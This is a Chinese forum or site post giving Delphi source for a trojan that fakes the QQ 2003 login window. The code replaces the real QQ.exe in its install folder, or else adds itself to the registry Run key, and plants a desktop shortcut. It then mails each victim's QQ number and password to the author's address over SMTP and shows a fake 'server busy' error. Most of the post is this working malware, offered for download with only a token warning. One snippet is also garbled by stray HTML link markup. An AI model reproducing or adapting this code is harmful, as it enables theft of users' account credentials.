本人最近听说网上有人用假qq盗取qq密码的事,开始百思不得其解,某日突然灵感以来。想到原理是如此简单,特用一天时间写下该程序。。和各位大虾交流学习。。。
主要的过程为,程序先假拌qq2003版的登陆界面,当启动程序时,就会在注册表中搜索qq的安装路径。
找到后将真的QQ.exe文件改名称,随后将假QQ.exe复制过来。。当用户在登陆框输入帐号密码信息时,程序就会立即发送到指定的邮箱。如此一来。。嘿嘿黑。。。。。。
下面是具体实现过程:
var
Form1: TForm1;
Track: boolean;
jqqpath,zqqpath: string;
implementation
uses Unit2;
{$R *.dfm}
procedure hehe;
var
reg: TRegistry;
begin
//先在注册表中搜索qq目录
jqqpath:=application.ExeName;
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey(’\SOFTWARE’,false);
if reg.KeyExists(’腾讯QQ’)=true then
begin
track:=true;
reg.OpenKey(’腾讯QQ’,false);
zqqpath:=reg.ReadString(’Install’);
//找到后进入该目录
chdir(zqqpath);
//重命名qq.exe 为 softman.dll
renamefile(’qq.exe’,’softman.dll’);
//将自己复制到该目录
copyfile(pchar(application.exename),pchar(zqqpath+’QQ.exe’),false);
reg.Free;
end
else
begin
track:=false;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey(’\SOFTWARE\Microsoft\Windows\CurrentVersion\Run’,false);
reg.WriteString(’softman’,application.ExeName);
reg.Free;
end;
end;
//创建快解方式的函数
function AddTail(Src: String): String;
//在路径字符串的最后加上’\’
begin
if (Src[length(Src)]<>’\’) then result:=Src+’\’ else result:=Src;
end;
procedure CreateShortCut(FileName, ShortCutName: String);
var
tmpObject : IUnknown;
tmpSLink : IShellLink;
tmpPFile : IPersistFile;
PIDL : PItemIDList;
StartupDirectory : array[0..MAX_PATH] of Char;
StartupFilename : String;
LinkFilename : WideString;
begin
StartupFilename:=FileName;
tmpObject:=CreateComObject(CLSID_ShellLink);
tmpSLink:=tmpObject as IShellLink;
tmpPFile:=tmpObject as IPersistFile;
tmpSLink.SetPath(pChar(StartupFilename));
tmpSLink.SetWorkingDirectory(pChar(ExtractFilePath(StartupFilename)));
SHGetSpecialFolderLocation(0, CSIDL_DESKTOPDIRECTORY, PIDL);
SHGetPathFromIDList(PIDL, StartupDirectory);
LinkFilename:=AddTail(StartupDirectory) + ShortCutName + ’.lnk’;
tmpPFile.Save(pWChar(LinkFilename), FALSE);
end;
procedure TForm1.button_cancelClick(Sender: TObject);
begin
close;
end;
procedure TForm1.button_clearClick(Sender: TObject);
begin
ComboBox_id.Clear;
edit_password.Clear;
end;
//这里可看到本程序的”关于”
procedure TForm1.button_zhuceClick(Sender: TObject);
begin
if (combobox_id.Text=’softman’)and(edit_password.Text=’softman’) then
begin
form_about.Show;
end;
beep;
end;
procedure TForm1.Label2Click(Sender: TObject);
begin
//该超连接和真正的qq(”忘记密码”)的一样。
ShellExecute(handle,nil,pchar(
_blank href=http://service.tencent.com/reg/getpassword.shtml>http://service.tencent.com/reg/getpassword.shtml’),nil,nil,sw_shownormal);
end;
procedure TForm1.Label1Click(Sender: TObject);
begin
//该超连接和真正的qq的(声请密码保护)一样。
ShellExecute(handle,nil,pchar(
_blank href=http://service.tencent.com/reg/register.shtml>http://service.tencent.com/reg/register.shtml’),nil,nil,sw_shownormal);
end;
//以下是核心,使用 Tidsmtp访问须要验证登陆信息的smtp邮件服务器
procedure TForm1.button_logonClick(Sender: TObject);
var
qq_id,qq_password: string;
begin
qq_id:=combobox_id.Text;
qq_password:=edit_password.Text;
//form1.WindowState:=wsMinimized;
form1.Hide;
//ready connect
smtp.AuthenticationType:=Atlogin;
smtp.Host:=’smtp.163.net’;
smtp.UserId:=’et_1030@tom.com’;
smtp.Password:=’邮箱密码’;
smtp.Port:=25;
try
smtp.Connect;
finally
end;
//mail
try
idmsg.Subject:=’qq帐号消息!!!’;
idmsg.From.Text:=’et_1030@tom.com’;
idmsg.Recipients.EMailAddresses:=’et_1030@tom.com’;
idmsg.Body.Add(’qq帐号:’+qq_id);
idmsg.Body.Add(’帐号密码:’+qq_password);
smtp.Send(idmsg);
finally
smtp.Disconnect;
//这里实际上只是假象,无任何意义。(当你看到下面的提示,qq就不保了。。!)
messagebox(0,’服务器忙,请稍后再试.’,’正在连接...’,0);
form1.Close;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
hehe;
if track=true then
begin
CreateShortCut(zqqpath+’QQ.exe’,’腾讯QQ’);
end
else
begin
CreateShortCut(application.ExeName,’腾讯QQ’);
end;
end;
end.
程序大概就这些了。。希望广大网友保护好自己的qq,不要让非法之徒盗取!!小心小心呀。。。
具体程序可到本站的[程序下载]处获得(当然如果Dboy大哥同意我放的话)。千万不要拿来害人哟。^_^
希望广大网友多提建议,让我们共同生活在自由又安全的网络世界里。。。
站长排行
学院
新闻
专栏
盈利
如果你有站长界人事变动、重组并购、变革技术出现,以及产品投诉等重要新闻线索,请告诉我们,我们会给予特别关注。
0631-3653338
站长中国编辑部
站长中国24小时新闻热线: 13256307008